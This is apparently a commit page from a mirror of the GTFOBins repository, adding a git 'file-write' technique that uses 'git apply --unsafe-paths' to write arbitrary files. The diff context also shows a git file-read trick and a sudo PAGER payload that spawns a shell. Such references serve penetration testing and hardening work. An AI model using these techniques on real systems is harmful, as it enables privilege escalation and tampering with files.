mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add file-write to Git
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
parent
5b93637ab4
commit
d3173153ac
@ -26,6 +26,10 @@ functions:
|
|||||||
code: |
|
code: |
|
||||||
LFILE=file_to_read
|
LFILE=file_to_read
|
||||||
git diff /dev/null $LFILE
|
git diff /dev/null $LFILE
|
||||||
|
file-write:
|
||||||
|
- description: The patch can be created locally by creating the file that will be written on the target using its absolute path, then `git diff /dev/null /path/to/file >x.patch`.
|
||||||
|
code: |
|
||||||
|
git apply --unsafe-paths --directory / x.patch
|
||||||
sudo:
|
sudo:
|
||||||
- code: sudo PAGER='sh -c "exec sh 0<&1"' git -p help
|
- code: sudo PAGER='sh -c "exec sh 0<&1"' git -p help
|
||||||
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
|
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
|
||||||
|
Loading…
Reference in New Issue
Block a user